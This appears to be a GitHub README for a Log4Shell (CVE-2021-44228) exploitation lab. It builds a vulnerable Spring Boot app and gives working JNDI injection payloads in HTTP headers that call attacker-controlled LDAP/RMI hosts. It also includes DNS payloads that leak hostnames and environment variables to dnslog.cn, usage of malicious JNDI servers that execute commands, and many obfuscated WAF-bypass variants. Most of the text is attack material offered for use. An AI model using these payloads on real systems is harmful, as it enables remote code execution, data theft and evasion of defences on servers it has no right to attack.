CVE-2021-44228 Remote Code Injection In Log4j

https://twitter.com/jas502n/status/1468946197629272066

SpringBoot-pom.xml

default use :

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

mvn dependency:tree

[INFO] |  |  +- org.springframework.boot:spring-boot-starter-logging:jar:2.6.1:compile
[INFO] |  |  |  +- ch.qos.logback:logback-classic:jar:1.2.7:compile
[INFO] |  |  |  |  \- ch.qos.logback:logback-core:jar:1.2.7:compile
[INFO] |  |  |  +- org.apache.logging.log4j:log4j-to-slf4j:jar:2.14.1:compile
[INFO] |  |  |  \- org.slf4j:jul-to-slf4j:jar:1.7.32:compile  
[INFO] |  |  \- org.slf4j:slf4j-api:jar:1.7.32:compile

change pom.xml

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

漏洞环境使用

usage:

$ java -jar log4jRCE-0.0.1-SNAPSHOT.jar    

[*] CVE-2021-44228 Log4j2 Remote Code Injection

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.1)

2021-12-10 16:18:43.099  WARN 48536 --- [           main] o.s.boot.StartupInfoLogger               : InetAddress.getLocalHost().getHostName() took 5005 milliseconds to respond. Please verify your network configuration (macOS machines may need to add entries to /etc/hosts).
2021-12-10 16:18:48.108  INFO 48536 --- [           main] c.example.log4jrce.Log4jRceApplication   : Starting Log4jRceApplication v0.0.1-SNAPSHOT using Java 1.8.0_60 on JMacBookPro.local with PID 48536 (/Users/jas502n/IdeaProjects/log4jRCE/target/log4jRCE-0.0.1-SNAPSHOT.jar started by root in log4jRCE/target)
2021-12-10 16:18:48.109  INFO 48536 --- [           main] c.example.log4jrce.Log4jRceApplication   : No active profile set, falling back to default profiles: default
2021-12-10 16:18:48.890  INFO 48536 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 8080 (http)
2021-12-10 16:18:48.902  INFO 48536 --- [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
2021-12-10 16:18:48.902  INFO 48536 --- [           main] org.apache.catalina.core.StandardEngine  : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-10 16:18:48.957  INFO 48536 --- [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext

Burpsuite Send

POST /login HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

data=xxxxx

HTTP/1.1 200 
Content-Type: text/html;charset=UTF-8
Content-Length: 15
Date: Fri, 10 Dec 2021 08:38:50 GMT
Connection: close

log4j2 success!

User-Agent Injection

GET / HTTP/1.1
Host: 192.168.3.105:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=reference} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.3.105:18080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP/1.1 200 
Content-Type: image/avif;charset=UTF-8
Content-Length: 26
Date: Tue, 14 Dec 2021 13:08:14 GMT
Connection: close

User-Agent Inject Success!

Example: JDK jdk8-202

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=tomcat} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

2021-12-14 21:18:08.810  INFO 50619 --- [io-18080-exec-2] c.e.l.Log4jRceApplication                : >>> Mozilla/5.0 (Windows NT 10.0; Win64; x64)javax.el.ELProcessor@7d97214f AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36


User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)${jndi:ldap://192.168.3.105:1389/o=groovy} AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

2021-12-14 21:19:34.516  INFO 50619 --- [io-18080-exec-3] c.e.l.Log4jRceApplication                : >>> Mozilla/5.0 (Windows NT 10.0; Win64; x64)groovy.lang.GroovyShell@383ad44e AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Fix log4j2 Tips By Default Properites

默认 Map 预先填充了 hostName 的值，该值是当前系统的主机名或IP地址，

参考文档：https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-configuration.html

org.apache.logging.log4j.core.LoggerContext#setConfiguration

${hostName}
${env:COMPUTERNAME}
${env:USERDOMAIN}
${env:LOGONSERVER}

Example:

// log4j2 Default，For（Windows、Linux、macOS....）
${jndi:dns://${hostName}.iwk5r1.dnslog.cn}

// Equivalent to windows command（set|findstr your-hostname）
${jndi:dns://${env:COMPUTERNAME}.iwk5r1.dnslog.cn}
${jndi:dns://${env:USERDOMAIN}.iwk5r1.dnslog.cn}

JNDIExploit-Tools

01-feihong-cs/JNDIExploit

https://github.com/feihong-cs/JNDIExploit

usage:

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip -p 8082                                                                                                                                         
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8082...

02-welk1n/JNDI-Injection-Exploit

https://github.com/welk1n/JNDI-Injection-Exploit

usage:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator" -A vip_ip
[ADDRESS] >> vip_ip
[COMMAND] >> open -a calculator
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://vip_ip:1099/x6sufy
ldap://vip_ip:1389/x6sufy
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://vip_ip:1099/gh4u9h
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://vip_ip:1099/kwoimv
ldap://vip_ip:1389/kwoimv

03-veracode-research/rogue-jndi

https://github.com/veracode-research/rogue-jndi

usage:

$ java -jar target/RogueJndi-1.1.jar --command "calc" --hostname "vip_ip"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://vip_ip:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://vip_ip:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://vip_ip:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://vip_ip:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://vip_ip:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://vip_ip:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

04-welk1n/JNDI-Injection-Bypass

https://github.com/welk1n/JNDI-Injection-Bypass

usage:

$ java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer vip_ip                                                
Creating evil RMI registry on port 1097

// Expression Language 3.0.0 API-Apr, 2013

<!-- https://mvnrepository.com/artifact/javax.el/javax.el-api -->
<dependency>
    <groupId>javax.el</groupId>
    <artifactId>javax.el-api</artifactId>
    <version>3.0.0</version>
</dependency>

// Apache Groovy 3.0.0: A powerful, dynamic language for the JVM

<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy -->
<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy</artifactId>
    <version>3.0.0</version>
</dependency>

USE ${lower:xxx} or ${upper:xxx} or {::-n} Bypass Waf

use "ı".toUpperCase() bypass I >>> JNDI >> ${JND${upper:ı}

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

other:

[>] jndi inject model start...
[+] Raw payload:

${jndi:dns://${hostName}.b2hp8r.dnslog.cn}

[+] {[upper|lower]:x} Random obfuscate:

${${upper:j}nd${lower:i}:${lower:d}${lower:n}s://${h${lower:o}st${upper:N}ame}.b2${lower:h}p8r.${lower:d}nsl${lower:o}${lower:g}${lower:.}cn}

${${upper:j}nd${lower:i}:${lower:d}${lower:n}s://${h${lower:o}st${upper:n}ame}.b2${lower:h}p8r.${lower:d}nsl${lower:o}${lower:g}${lower:.}cn}

[+] {[upper|lower]:x} all the obfuscate:

${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:d}${lower:n}${lower:s}${lower::}${lower:/}${lower:/}${${lower:h}${lower:o}${lower:s}${lower:t}${upper:N}${lower:a}${lower:m}${lower:e}}${lower:.}${lower:b}${lower:2}${lower:h}${lower:p}${lower:8}${lower:r}${lower:.}${lower:d}${lower:n}${lower:s}${lower:l}${lower:o}${lower:g}${lower:.}${lower:c}${lower:n}}
${${upper:j}${lower:n}${lower:d}${lower:i}${lower::}${lower:d}${lower:n}${lower:s}${lower::}${lower:/}${lower:/}${${lower:h}${lower:o}${lower:s}${lower:t}${upper:n}${lower:a}${lower:m}${lower:e}}${lower:.}${lower:b}${lower:2}${lower:h}${lower:p}${lower:8}${lower:r}${lower:.}${lower:d}${lower:n}${lower:s}${lower:l}${lower:o}${lower:g}${lower:.}${lower:c}${lower:n}}

[+] {::-n} random obfuscate:

${j${zG:xuc:-n}d${wXuN:-i}:dns:/${emWDv:Jdq:-/}${${RfdM:txf:-h}o${O:atnIDv:-s}${O:YM:sdm:fP:DPYEXx:-t}${fiShn:P:NA:-N}${v:h:rLVoL:-a}me}.b2${Ld:Tnzo:-h}p${cCC:-8}r${aoq:FF:-.}dnslog.${GL:-c}n}


[+] {::-n} all the obfuscate:

${${ogEqGS:RDg:fUxz:-j}${ldB:E:N:PG:-n}${VzvPou:-d}${lr:oRfT:-i}${nw:-:}${j:-d}${EcFIy:YQUG:zKWwP:jNq:DjGp:-n}${sjydOt:S:eCS:QQ:xRDd:-s}${nLj:F:TptB:-:}${WqfK:rWy:YVXz:-/}${jyvggg:wrwT:hp:-/}${${Pw:-h}${R:-o}${Y:bhV:-s}${sNr:Oiv:RBRrv:ISrLbB:rCBSw:-t}${h:JeAg:-N}${Se:L:dxEa:Ssx:-a}${HYtfSz:AInf:gHTSJ:LkD:Wxqq:-m}${uxdytq:-e}}${EBxUv:wf:UmUc:dIDP:-.}${k:x:Fq:muQmwT:-b}${XioYP:Qc:-2}${Gnr:NY:-h}${YhRuP:tIAVJ:W:-p}${veLxt:pVKX:MPGdO:lNo:LXWtN:-8}${NqPAoG:lhEirn:QhJOS:QIMJ:-r}${wx:-.}${H:wA:UTu:s:TwBzM:-d}${VGlR:CXlxMV:PSJ:-n}${b:wMDG:wn:PjYam:-s}${Nmdg:y:sNnW:-l}${rF:GRmC:-o}${RkV:QRb:-g}${LDBWIn:dMxv:-.}${pNgiK:az:arNf:-c}${OgV:XPTn:-n}}

[=] jndi inject model stop

https://github.com/woodpecker-appstore/log4j-payload-generator

log4j-::

Example:


${::-n}
2021-12-14 11:08:49.287 ERROR 31355 --- [io-18080-exec-4] c.e.l.Log4jRceApplication : >>> n

${xxx::-n}
2021-12-14 11:07:24.785 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> n

${:xxx:-n}
2021-12-14 11:08:18.012 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-n}
2021-12-14 11:11:10.135 ERROR 31355 --- [io-18080-exec-3] c.e.l.Log4jRceApplication : >>> n

${:-jndi}
2021-12-14 11:10:43.420 ERROR 31355 --- [io-18080-exec-1] c.e.l.Log4jRceApplication : >>> jndi

log4j-lower

this.strLookupMap.put("lower", new LowerLookup());

org.apache.logging.log4j.core.lookup.LowerLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)

package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.plugins.Plugin;
@Plugin(
    name = "lower",
    category = "Lookup"
)
public class LowerLookup implements StrLookup {
    public LowerLookup() {
    }
    public String lookup(final String key) {
        return key != null ? key.toLowerCase() : null; // toLowerCase()
    }
    public String lookup(final LogEvent event, final String key) {
        return this.lookup(key);
    }
}

Example:

data=${lower:JNDI}
2021-12-14 10:05:12.051 ERROR 31355 --- [io-18080-exec-6] c.e.l.Log4jRceApplication                : >>> jndi

log4j-upper

this.strLookupMap.put("upper", new UpperLookup());

org.apache.logging.log4j.core.lookup.UpperLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)

package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.plugins.Plugin;
@Plugin(
    name = "upper",
    category = "Lookup"
)
public class UpperLookup implements StrLookup {
    public UpperLookup() {
    }
    public String lookup(final String key) {
        return key != null ? key.toUpperCase() : null;
    }
    public String lookup(final LogEvent event, final String key) {
        return this.lookup(key);
    }
}

Example:

data=${upper:jndi}
2021-12-14 10:08:29.286 ERROR 31355 --- [io-18080-exec-8] c.e.l.Log4jRceApplication                : >>> JNDI

log4j-java

ID	usage	method
1	${java:version}	getSystemProperty("java.version")
2	${java:runtime}	getRuntime()
3	${java:vm}	getVirtualMachine()
4	${java:os}	getOperatingSystem()
5	${java:hw}	getHardware()
6	${java:locale}	getLocale()

org.apache.logging.log4j.core.lookup.JavaLookup

    public String getHardware() {
        return "processors: " + Runtime.getRuntime().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist");
    }

    public String getLocale() {
        return "default locale: " + Locale.getDefault() + ", platform encoding: " + this.getSystemProperty("file.encoding");
    }

    public String getOperatingSystem() {
        return this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model");
    }

    public String getRuntime() {
        return this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor");
    }

    private String getSystemProperty(final String name) {
        return this.spLookup.lookup(name);
    }

    public String getVirtualMachine() {
        return this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")";
    }

log4j2-env

Linux:

CLASSPATH,HOME,JAVA_HOME,LANG,LC_TERMINAL,LC_TERMINAL_VERSION,LESS,LOGNAME,LSCOLORS,LS_COLORS,MAIL,NLSPATH,OLDPWD,PAGER,PATH,PWD,SHELL,SHLVL,SSH_CLIENT,SSH_CONNECTION,SSH_TTY,TERM,USER,XDG_RUNTIME_DIR,XDG_SESSION_ID,XFILESEARCHPATH,ZSH,_

id	usage
1	${env:CLASSPATH}
2	${env:HOME}
3	${env:JAVA_HOME}
4	${env:LANG}
5	${env:LC_TERMINAL}
6	${env:LC_TERMINAL_VERSION}
7	${env:LESS}
8	${env:LOGNAME}
9	${env:LSCOLORS}
10	${env:LS_COLORS}
11	${env:MAIL}
12	${env:NLSPATH}
13	${env:OLDPWD}
14	${env:PAGER}
15	${env:PATH}
16	${env:PWD}
17	${env:SHELL}
18	${env:SHLVL}
19	${env:SSH_CLIENT}
20	${env:SSH_CONNECTION}
21	${env:SSH_TTY}
22	${env:TERM}
23	${env:USER}
24	${env:XDG_RUNTIME_DIR}
25	${env:XDG_SESSION_ID}
26	${env:XFILESEARCHPATH}
27	${env:ZSH}

Windows:

=E:,=ExitCode,A8_HOME,A8_ROOT_BIN,ALLUSERSPROFILE,APPDATA,CATALINA_BASE,CATALINA_HOME,CATALINA_OPTS,CATALINA_TMPDIR,CLASSPATH,CLIENTNAME,COMPUTERNAME,ComSpec,CommonProgramFiles,CommonProgramFiles(x86),CommonProgramW6432,FP_NO_HOST_CHECK,HOMEDRIVE,HOMEPATH,JRE_HOME,Java_Home,LOCALAPPDATA,LOGONSERVER,NUMBER_OF_PROCESSORS,OS,PATHEXT,PROCESSOR_ARCHITECTURE,PROCESSOR_IDENTIFIER,PROCESSOR_LEVEL,PROCESSOR_REVISION,PROMPT,PSModulePath,PUBLIC,Path,ProgramData,ProgramFiles,ProgramFiles(x86),ProgramW6432,SESSIONNAME,SystemDrive,SystemRoot,TEMP,TMP,ThisExitCode,USERDOMAIN,USERNAME,USERPROFILE,WORK_PATH,windir,windows_tracing_flags,windows_tracing_logfile

id	usage
1	${env:A8_HOME}
2	${env:A8_ROOT_BIN}
3	${env:ALLUSERSPROFILE}
4	${env:APPDATA}
5	${env:CATALINA_BASE}
6	${env:CATALINA_HOME}
7	${env:CATALINA_OPTS}
8	${env:CATALINA_TMPDIR}
9	${env:CLASSPATH}
10	${env:CLIENTNAME}
11	${env:COMPUTERNAME}
12	${env:ComSpec}
13	${env:CommonProgramFiles}
14	${env:CommonProgramFiles(x86)}
15	${env:CommonProgramW6432}
16	${env:FP_NO_HOST_CHECK}
17	${env:HOMEDRIVE}
18	${env:HOMEPATH}
19	${env:JRE_HOME}
20	${env:Java_Home}
21	${env:LOCALAPPDATA}
22	${env:LOGONSERVER}
23	${env:NUMBER_OF_PROCESSORS}
24	${env:OS}
25	${env:PATHEXT}
26	${env:PROCESSOR_ARCHITECTURE}
27	${env:PROCESSOR_IDENTIFIER}
28	${env:PROCESSOR_LEVEL}
29	${env:PROCESSOR_REVISION}
30	${env:PROMPT}
31	${env:PSModulePath}
32	${env:PUBLIC}
33	${env:Path}
34	${env:ProgramData}
35	${env:ProgramFiles}
36	${env:ProgramFiles(x86)}
37	${env:ProgramW6432}
38	${env:SESSIONNAME}
39	${env:SystemDrive}
40	${env:SystemRoot}
41	${env:TEMP}
42	${env:TMP}
43	${env:ThisExitCode}
44	${env:USERDOMAIN}
45	${env:USERNAME}
46	${env:USERPROFILE}
47	${env:WORK_PATH}
48	${env:windir}
49	${env:windows_tracing_flags}
50	${env:windows_tracing_logfile}

Mac:

ANT_HOME,COMMAND_MODE,GOBIN,GOPATH,GOROOT,GRADLE_HOME,HOME,HOMEBREW_BOTTLE_DOMAIN,JAVA_HOME,JAVA_MAIN_CLASS_3651,LC_CTYPE,LESS,LOGNAME,LSCOLORS,LaunchInstanceID,OLDPWD,PAGER,PATH,PWD,SECURITYSESSIONID,SHELL,SSH_AUTH_SOCK,TIME_STYLE,TMPDIR,USER,VERSIONER_PYTHON_VERSION,XPC_FLAGS,XPC_SERVICE_NAME,ZSH,__CF_USER_TEXT_ENCODING

id	usage
1	${env:ANT_HOME}
2	${env:COMMAND_MODE}
3	${env:GOBIN}
4	${env:GOPATH}
5	${env:GOROOT}
6	${env:GRADLE_HOME}
7	${env:HOME}
8	${env:HOMEBREW_BOTTLE_DOMAIN}
9	${env:JAVA_HOME}
10	${env:JAVA_MAIN_CLASS_3651}
11	${env:LC_CTYPE}
12	${env:LESS}
13	${env:LOGNAME}
14	${env:LSCOLORS}
15	${env:LaunchInstanceID}
16	${env:OLDPWD}
17	${env:PAGER}
18	${env:PATH}
19	${env:PWD}
20	${env:SECURITYSESSIONID}
21	${env:SHELL}
22	${env:SSH_AUTH_SOCK}
23	${env:TIME_STYLE}
24	${env:TMPDIR}
25	${env:USER}
26	${env:VERSIONER_PYTHON_VERSION}
27	${env:XPC_FLAGS}
28	${env:XPC_SERVICE_NAME}
29	${env:ZSH}

log4j2-sys

id	usage
1	${sys:awt.toolkit}
2	${sys:file.encoding}
3	${sys:file.encoding.pkg}
4	${sys:file.separator}
5	${sys:java.awt.graphicsenv}
6	${sys:java.awt.printerjob}
7	${sys:java.class.path}
8	${sys:java.class.version}
9	${sys:java.endorsed.dirs}
10	${sys:java.ext.dirs}
11	${sys:java.home}
12	${sys:java.io.tmpdir}
13	${sys:java.library.path}
14	${sys:java.runtime.name}
15	${sys:java.runtime.version}
16	${sys:java.specification.name}
17	${sys:java.specification.vendor}
18	${sys:java.specification.version}
19	${sys:java.vendor}
20	${sys:java.vendor.url}
21	${sys:java.vendor.url.bug}
22	${sys:java.version}
23	${sys:java.vm.info}
24	${sys:java.vm.name}
25	${sys:java.vm.specification.name}
26	${sys:java.vm.specification.vendor}
27	${sys:java.vm.specification.version}
28	${sys:java.vm.vendor}
29	${sys:java.vm.version}
30	${sys:line.separator}
31	${sys:os.arch}
32	${sys:os.name}
33	${sys:os.version}
34	${sys:path.separator}
35	${sys:sun.arch.data.model}
36	${sys:sun.boot.class.path}
37	${sys:sun.boot.library.path}
38	${sys:sun.cpu.endian}
39	${sys:sun.cpu.isalist}
40	${sys:sun.desktop}
41	${sys:sun.io.unicode.encoding}
42	${sys:sun.java.command}
43	${sys:sun.java.launcher}
44	${sys:sun.jnu.encoding}
45	${sys:sun.management.compiler}
46	${sys:sun.os.patch.level}
47	${sys:sun.stderr.encoding}
48	${sys:user.country}
49	${sys:user.dir}
50	${sys:user.home}
51	${sys:user.language}
52	${sys:user.name}
53	${sys:user.script}
54	${sys:user.timezone}
55	${sys:user.variant}

Name		Name	Last commit message	Last commit date
Latest commit History 4 Commits
README.md		README.md
log4jRCE-0.0.1-SNAPSHOT.jar		log4jRCE-0.0.1-SNAPSHOT.jar

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CVE-2021-44228 Remote Code Injection In Log4j

SpringBoot-pom.xml

漏洞环境使用

Burpsuite Send

User-Agent Injection

Fix log4j2 Tips By Default Properites

JNDIExploit-Tools

USE ${lower:xxx} or ${upper:xxx} or {::-n} Bypass Waf

log4j-::

log4j-lower

log4j-upper

log4j-java

log4j2-env

Linux:

Windows:

Mac:

log4j2-sys

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CVE-2021-44228 Remote Code Injection In Log4j

SpringBoot-pom.xml

漏洞环境使用

Burpsuite Send

User-Agent Injection

Fix log4j2 Tips By Default Properites

JNDIExploit-Tools

USE ${lower:xxx} or ${upper:xxx} or {::-n} Bypass Waf

log4j-::

log4j-lower

log4j-upper

log4j-java

log4j2-env

Linux:

Windows:

Mac:

log4j2-sys

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